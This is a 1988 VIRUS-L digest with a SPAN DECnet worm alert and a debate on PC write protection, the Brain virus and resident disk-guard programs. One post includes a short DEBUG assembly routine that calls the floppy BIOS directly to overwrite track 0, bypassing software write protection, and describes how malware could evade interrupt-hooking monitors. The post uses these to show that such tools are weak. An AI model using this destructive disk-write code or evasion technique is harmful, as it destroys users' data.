(5.59/1.5)
Received: from ucbvax.Berkeley.EDU by SRI-NIC.ARPA with TCP; Sun, 25 Dec 88
23:07:38 PST
Received: by ucbvax.Berkeley.EDU (5.61/1.33)
id AA02165; Sun, 25 Dec 88 22:41:55 PST
Received: from USENET by ucbvax.Berkeley.EDU with netnews
for [email protected] ([email protected])
(contact [email protected] if you have questions)
Date: 26 Dec 88 06:39:55 GMT
From: [email protected] (Brian Kantor)
Organization: The Avant-Garde of the Now, Ltd.
Subject: Re: DECNET Virus (sorry)
Message-Id: <[email protected]>
References: <[email protected]>
Sender: [email protected]
To: [email protected]
I received the following message last Friday; I mailed it off to
the "phage" security list and it bounced because Purdue's mailer is
broken, so I'll post it here. I hesitated to do this at first, since
it's not directly relevant and I sure didn't want to panic people into
wildly shutting down bridges and gateways again.
SPAN (Space Physics Analysis Network??) is a DECNet network, so it
lacks direct relevance to the TCP/IP list, but probably this is of
at least passing interest.
- - ---
Date: Fri, 23 Dec 88 02:53:13 GMT
From: [email protected] (Gerard K. Newman)
Subject: SPAN WORM ALERT
Ladies and gentleman,
Someone has loosed a worm on SPAN at this very moment. Check your accounting
files and NETSERVER.LOGs in your default DECnet accounts. You'll find evidence
of someone creating a file (HI.COM, which I am in the process of fetching from
the deleted blocks of one of them) which propagates itself around the network.
It has hit all of the VMS machines here at SDSC today, and simply appears to
crawl around and send mail to 25097::PHISOLIDE (node 25.79, for which I do not
have a name in my DECnet database).
It will take me a few more minutes to cobble together a program to dredge up
the blocks of the command file (one of the first things it does is to delete
itself ... it also sets it's process name to MAIL_178DC, so look around for
those, too). When I have it I will forward the text.
An adequate defense against the problem is:
(from the SYSTEM or other suitably privileged account):
$ Set Default your-default-decnet-area
$ Create HI.COM
$ Stop/ID=0
^Z
$ Set File/Owner=[1,4]/Protection=(S:RWED,O:RWED,G:RE,W:RE)/Version=1 HI.COM
This information should receive the widest possible distribution.
I will forward a copy of the command file in a few minutes.
Please give me a call (# below) if you need more information.
gkn
- - ----------------------------------------
Internet: [email protected]
Bitnet: GKN@SDSC
Span: SDSC::GKN (27.1)
MFEnet: GKN@SDS
USPS: Gerard K. Newman
San Diego Supercomputer Center
P.O. Box 85608
San Diego, CA 92138-5608
Phone: 619.534.5076
- ------- End of Forwarded Messages
------------------------------
Date: Mon, 26 Dec 88 14:45 EST
From: Dimitri Vulis <[email protected]>
Subject: DOS, BIOS and write-protect tabs (PC)
I feel obliged to add my 2 bits worth to the discussion; it seems, everyone
else did, and I happen to know more about it than authors of some previous
postings. I hope this would be helpful. Please feel free to flame me if I
omitted something or made a mistake.
There are 3 ways an application program can access disks _via_DOS:
1) (Most common) Issue INT 21h (DOS call) with a function number that has
something to do with files, e.g. `open file', `create file' etc.
2) Issue INT 25 or INT 26 to read or write a logical sector on a logical device
(useful for system-level hacking, like CHKDSK).
3) Use certain subfunctions on IOCTL call (INT 21h, AH=44) that can
read/write/format logical devices.
The code in IBMDOS.COM (in PC-DOS) or in MSDOS.SYS (in MS-DOS) will
figure out which device you are referring to (e.g. a floppy disk, a
hard disk, a RAM disk, a substituted disk that's really a directory, a
network device, etc) and if it's a floppy disk or a hard disk, it will
issue an INT 13, after loading information like track # and sector #
into registers.
An application program can also issue INT 13 directly.
(I will discuss the hard disk variant below; for now, assume it's a
floppy disk)
Now, INT 13 points (ordinarily) to BIOS code in ROM. (In fact, on PS/2
it's intercepted by DASDDRVR.SYS to patch some bugs in ROM; and many
versions of DOS intercept it to implement some kind of caching; and
see below; and some fast machines copy ROM into fast RAM at boot time;
but it will end up executing BIOS code from ROM anyway). Now, there
can be no `undocumented' BIOS calls on a machine for which a
well-commented BIOS listing is published. BIOS code issues IN and OUT
commands to make sure that the floppy disk is spinning, the head
assembly is at the right track, the sector ID matches the one
requested, the DMA circuitry copies the data from the disk controlled
to the right location in memory.
>I did my homework before I wrote my opinion. I already knew about the
>documented BIOS interrupt limitations. There are undocumented BIOS
>calls, and there are non-BIOS hardware calls.
There can be no `undocumented' BIOS calls. However, there are many
other possible commands to the disk controlled that cannot be issued
by the INT 13 BIOS code.
An application program can issue these calls too, there's no
`supervisor mode' on the PC, but it's rather complicated. Many
copy-protection checking programs do that. Sometimes they first issue
and INT 13 to seek the right track and to spin the drive, and issue
fewer IN/OUT instructions.
Note: Many years ago I wrote a bunch of assembly language routines to
access _all_ possible functions on the controller, not only the ones
used by BIOS. They are huge and very hard to use. If Ken really wants
them, I'll give them to him with pleasure.
_All_ the codes are documented in the Motorola book, or in the Intel
book (Intel makes a similar controller, and their book is _much_
easier to read).
If the disk drive assembly detects that the disk drive is
write-protected (note the IF), it refuses to write on the hard disk
and the disk controller sets a certain flag on its latch that's read
(IN'ed) by the BIOS code and understood to mean `write protect error'.
It's not done `in software' in this sense.
However, many cheap disk drives use unorthodox means to detect the
tab. A vanilla full-height 5.25" IBM drive tried to stick a kind of
lever into the notch, and if it failed to, it would assume there's a
tab over the notch. (Note sure about the modern 3.5" drives; i.e. I'm
sure it's hardware, but it may be optical). Now, some early
compatibles (notably the first Compaq) tried to see if a light
_bounces_off_ the notch (you will recall that ca 1981-82 all write
protect tabs had mirror-like foil on the outside). This did not detect
black tabs of Scotch tape. Newer drives flash a light on one side of
the latch and try to detect it on the other; this does not detect
Scotch tape either. (I know one prominent mathematician, who will
probably read this, and who uses Scotch tape exclusively). On the
vanilla IBM drive, one could disable the detection mechanism with a
screwdriver, as outlined in IBM's manual for the drive.
So, a driver may fail to detect a tab if the detection mechanism is
disabled, or the drive is broken, or it does not detect this kind of
tabs. However, it does not matter _how_ you access the drive; i.e.
(Doz Kzem should try it) if you write-protect a disk and try to create
a file on it and get `Write protect error writing drive A:', then
there's no way a program can write to that disk in that drive using
BIOS calls or directly issuing IN/OUT. On the other hand, the drive
_may_ create the file, so I would not disregard
>When the PC was a baby, one or two software vendors (obscure ones) had
>a copy protection scheme that involved writing something to their own
>diskettes, whether write protected or not, on the user's machine.
I've never heard about it, but my conjecture is that their copy
protection code _attempted_ to write on write-protected diskettes,
failed on real IBMs and succeeded on cheap clones.
>research (see his V1 #54 contribution) that disk controller ROM is loaded
>into RAM at boot time. You could tweak it as you liked, then! You could
>prevent it from being reloaded, you could change the logic states.
No, this makes no sense. There's no need to alter the BIOS code (which
is copied into RAM on _a_few_ fast machines), since the application
program can issue the INs and OUTs by itself.
Now, when a program issues an INT (or when it comes from the hardware)
the instruction pointer and the flags (6 bytes altogether) are pushed
onto the stack and a new instruction pointer is loaded from low
memory, e.g. from [13h*4] for INT 13. Most `virus prevention' programs
operate by intercepting various interrupts, re-directing them to a
code that tells the user what's going on before passing control to the
original INT 13 code. A clever worm can circumvent this, e.g. by
issuing PUSHF and far call to F000:EC59 on almost all PC compatibles
(For floppies only!!).
With the hard disk, it's slightly trickier. On _most_ machines, at
boot time INT 13 is redirected to another ROM routine which checks if
the drive is a hard or a floppy, and if the latter, passes control to
INT 40 (the original floppy-only INT 13). All the so-called
`write-protection' for hard disks is software-only indeed (I'm _still_
unaware of a single HD with a write-protect switch, what a damn
shame!) So, a worm can circumvent such protection by not calling a
straight INT 13, but jumping to the hard disk BIOS code directly.
This will also bypass the `protection' provided by booting from a very
old DOS that does not recognize the hard disk.
I don't see how a low-level format will help (a worm-infected hard
disk) unless the worm is hiding in the BIOS boot sector (where the
partition table lives). If that is the case, you can just write
garbage there and re-run FDISK to recreate the partition table and the
new boot record and hope that your data is intact. (Of course this
won't work if your boot record is not vanilla, but something like DM,
but there's no reason to use that if you have DOS 3.3) If your
worm/virus is file-based, it'll survive the backup/restore.
>A virus or Trojan already present in memory (because it was run since
>the last cold boot) can trap keystroke combinations like Control-Alt-
>Delete and fake a warm boot by calling a similar BIOS routine that does
>not clear active memory. Power users would probably detect this from
The reference is, apparently, to INT 19. However, INT 19 does not
reset any interrupt vectors. The only place where it can be used
safely is in the boot code itself (after `press any key') If you have
any OS code in memory and issue INT 19, the system will halt. If you
did not know that, _try_it_ before flaming me.
On machines with a `reset' button, the button tweaks a pin on the CPU
which causes it to stop whatever it was doing and jump to an address
in ROM (the same it jumps to when it's turned on) which does various
diagnostics, sets the interrupt vectors, etc. I see no way to
intercept this via software.
When a user presses ctl-alt-del, the keyboard code in BIOS (which is
invoked by INT 9 every time a key is pressed or released) jumps to
BIOS code that does a lot of machine-specific stuff, then redirects
interrupt vectors to their default values, then boots. A worm sitting
in memory (not a _virus_) would have to duplicate all the
machine-specific stuff for various possible machines, making it
_a_lot_ bigger than the Brain, to survive a worm boot. I.e. it's
feasible, but it would be quite large, and not generic (like the
Yale).
It's OK, I've seen worse statements associated with the Brain virus,
e.g. a user complained that it infected the BAT files on his hard
disk. If only we did not have so much hype/ignorance associated with
the subject...
>An IBM PC can write to a write protected floppy via a low level BIOS
>directive which bypasses DOS and directly addresses the diskette drive
>controller hardware. If the BIOS directive is absent from some versions
>of DOS, it may still be possible to address the hardware below the BIOS
What nonsense, if you pardon my French. Ken should filter out such stuff.
>This topic has been kicked around inconclusively here for some time
>now, and unless someone can come up with a verifiable and duplicatable
>method to get around a properly write-protected disk, then I think
>that we should assume that it is not possible to circumvent.
Hear, Hear! If you've read so far, I hope you're so bored with the
subject that any further discussion of it will be banned. Why beat a
dead horse? Why throw pearls to porcupines? Etc.
Also:
>From: Robert Slade <[email protected]>
>Subject: BRAIN in the USSR (PC)
>
> No one has cross posted it yet, but RISKS 7.96 has an article
>about virus infection in the USSR. They have, of course, developed
>the ultimate anti virus program, the details of which remain a state
>secret ...
To the best of my knowledge, the virus infected (a few of) their IBM
S/370 compatibles on AKADEMSET, an academic network similar to BITNET.
Apparently they still run RSCS v1, which is so full of holes that it's
just unsportsmanlike to take over the server. They patched up some of
the holes; a better solution would be to upgrade to ISO/OSI. What made
you think it had anything to do with Brain or PCs?
- -Dimitri Vulis
- -Math Dept
- -CUNY Graduate Center
[Ed. A very enlightening message, thank you. With regards to
filtering out "such stuff", however, do you really think that it's
fair and even appropriate for me to filter out things that I feel may
not be technically correct. For one, I just don't have the time to do
it. Also, I don't want to be a censor; I want VIRUS-L to be an *open*
discussion forum where people can voice their opinions, as well as
pass on technical information. If someone is incorrect in a technical
description, then it generally gets pointed out quite rapidly. Case
in point - write protect notches.]
------------------------------
Date: Tue, 27 Dec 88 16:10:31 MEZ
From: Konrad Neuwirth <[email protected]>
Subject: Dirty Dozen
Where can I get the last copy of DD from, or what is the last edition ?
The copy from the listserv is from 05-05-88.
Or will it not be updated any more because it is already too long ?
tnx
Konrad
------------------------------
Date: Tue, 27 Dec 88 11:22 MST
From: [email protected]
Subject: Re: Brain virus (PC)
In Virus-L Digest 1.56 Jeff Ogata speculates on the capabilities of
the (C)Brain virus to infect via a bootable/non-bootable floppy disk.
My recent experience with the (C)Brain virus is thus:
We (myself, a colleague, and my course supervisor) received a copy of
the (C)Brain virus on a NON-BOOTABLE disk. The disk's boot block,
however, was infected. On a clean machine we placed this disk in
drive A: and attempted to boot with it. We received the usual error
message about the disk being non-bootable, so then placed a bootable
(and write-protected) floppy into the drive. Well, lo and behold, we
then executed some commands on a non- write-protected disk and this
disk became infected. Thus we could only deduce that the machine
first executes the contents of the boot block and THEN checks to see
if the disk is bootable (a DOS disk). This may have been mentioned
previously, but I thought it was apropos with regards to Jeff's recent
comments.
Greg Lypowy
Research Assistant
Knowledge Sciences Institute
University of Calgary
Calgary, Alberta, CANADA UNCAMULT.BITNET)
------------------------------
Date: Thu, 29 Dec 88 15:01 EST
From: Dimitri Vulis <[email protected]>
Subject: Write Protection confusion (PC)
This kind of complacent thinking can be hazardous to your data!
>From: Steve Clancy <[email protected]>
>I have used Trapdisk in the past and am very pleased with it.
>Trapdisk is a newer version of something that used to be called BOMB.
>I like it because it allows a command line, such as TRAPDISK WF as a
>command to write protect your disk against a write or format. I also
>like being able to disable it at will (TRAPDISK U), but I do not like
>that it remains memory resident. There is also another very good
>program called HDSENTRY.
>
>I'm afraid that I cannot comment on how well either handle
>sophisticated attempts to get around their protection.
Both of these programs (and others like them) are
_extremely_dangerous_. They give the user a false sense of security,
while it fact they provide _very_ _little_protection. They offer some
protection against amateurish benign programs, like Brain, that are
not really trying to destroy any data. They would not work against
something like ARC 5.13, which called BIOS through CALL, not via INT,
and you are more likely to run something like it, because you believe
that you're protected, and use less discretion in deciding what to run
on your machine. As an illustration, `write-protect' a floppy (which
you don't need---you will have to re-format it) _in_software_ and run
the following code in DEBUG:
MOV AX,0309
XOR BX,BX
XOR CX,CX
XOR DX,DX
MOV ES,DX
PUSHF
CALL F000:EC59
RET
This will write garbage over track 0 in floppy drive A:, and no
software will notice. A similar approach can (and was) used for hard
disks. Here it's a little trickier, and I will not post the code for
obvious reasons, but the thing to remember is that such `software
write protect' can do very little against a Trojan horse intent on
destroying data on the hard disk.
>From: Richard Baum <[email protected]>
>... It seems that the circut tried to reflect light off of a
>mirror on the opposite side of the slot where the diskette was
>supposed to go....
Ha Ha. Except, some early PC compatibles had this kind of sensors too.
(I mentioned this in an earlier message.) Scotch tape does not work in
some newer drives with optical sensors.
3.5" drives use a completely different mechanism, as we all know; a
little thing slides back and forth, etc, and I don't have a technical
reference here to verify that it's purely hardware, but I'd bet my
life that it is too. Since there is little doubt here that the sensor
is optical and little choice of tab material (you use whatever's
already on the drive!) such problems should not occur.
> Leonard P. Levine
>Sorry folks, but my technical folks tell me that the write tab on a
>floppy is a soft thing.
Whoever pays these folks salary should be informed of this, so s/he
can stop wasting his/her $$$. The following is meant as a flame of
Milwaukee's incompetent technical folks, not of Prof. Levine
personally.
>I now get that there is a line from the drive to its controller that
>is high when the disk is write protected. A switch (this was actually
>done) in that line can emulate a write locked or unlocked state
>independent of a tab on the disk. Thus, at the drive level, the
>protection is not hardware.
IBM Personal Computer AT High Capacity Diskette Drive insert says:
(Page 4)
- -Write Gate
An active level of this input enables the write current circuits...
(Page 5)
- -Write protect
An active level of this signal means that a diskette without a
write-protect notch is in the driver. The drive will not write when a
protected diskette is loaded.
Ditto Personal Computer AT Double Sided diskette Drive insert (same
words, same page).
The logic diagram shows a `Write protect sensor' wired to -WriteProtect.
Certainly, one can disable the `Write Protect Sensor', which is a kind
of lever on the very old driver, e.g. with a screwdriver. This is how
software gets on those distribution disks without a notch, in case you
wondered (i.e. the drive will write whether or not the notch is
covered). Why insert a switch? And what is all this, if not hardware?
Mindware?
>They also tell me that the controller ROM is loaded into RAM at boot
>time, and may be reloaded by the processor during program execution.
>I am not sure what this implies but it seems to improve the chances
>that a change in the driver will be corrected from time to time.
The BIOS routines might conceivably be altered/sabotaged on machines
that copy it to fast RAM. What good (or bad) will this do in terms of
write protection? There is no supervisor mode on the PC. The
application program can issue the same INs/OUTs as the BIOS routines
with the same degree of success, since the FDC microcode is not
compromized.
>My people tell me that the controller merely sets an interrupt when an
>attempt is made to write to a locked disk. They feel, but have not
>tested, that an attempt to write around the bios can ignore this
>interrupt. If they are right, there is no such thing as a write
>locked disk in the pc environment.
I feel that people should stop wasting the bandwidth on the stuff
other people feel, believe, or have heard. I am sorry if I'm being
rude, but my mailbox is _stuffed_ by this write-protect discussion,
people discussing stuff they know nothing about and saying total
nonsense. I _used_ to enjoy reading this list very much and I'd be
rather upset if I have to unsubscribe from it because the
pearl-to-manure ratio continues to approach zero.
>From: Ken van Wyk <[email protected]>
>When writing to floppy disk, the code instructs the disk controller to
>perform the write sequence, and *THEN* it checks to see whether that
>failed due to (among other things) a write protect situation.
Precisely. To be even more precise, it initiates the operation and
waits for the interrupt. When the operation is complete (whether
success or failure), an interrupt routine (on page 5-72) sets the flag
saying the interrupt has occurred. Then the routine on page 5-72 reads
the latches from the FDC and stores their values in low memory. Their
values are explained in the old edition of Tech ref, but not in this
one. The FDC does not `test' for write protection until the whole
operation is set up, and if it fails, then there's nothing to continue
or restart. The same protocol has to be followed if you issue the
commands from the app program.
> until anyone can send me a
>few lines of MASM code that will write to a properly functioning
>write-protected floppy disk. Any takers?
The catch phrase is `properly functioning', of course. No thanks! :)
....
>When I found some of my 5.25" floppies infected with the Brain virus,
>some folks at the labs and computing center told me that a
>write-protected disk couldn't get infected because the
>write-protection mechanism was "hardware controlled" and couldn't be
>circumvented by any software. So I was confused when I read the lines
>(above) because the information given to me by the lab operators is
>wrong and it is possible to bypass "write-protection" using software.
Your operator knows what s/he's talking about. The user who posted the
message does not. Trust the operator. (I'd hate to be at a place where
users have such an attitude.)
I think Ken is doing a terrific job, but it worries me that this list
(which many people consider highly authoritative) is used to spread
false and harmful rumors. First there was the nonsenical warning about
a modem virus, that many `novice' users took seriously; now there's
this. There is an incredible amount of ignorance and computer
illiteracy out there. We all should be more careful about what we
post.
- -Dimitri Vulis
- -Math Department
- -CUNY Graduate Center
------------------------------
End of VIRUS-L Digest
*********************
|
|
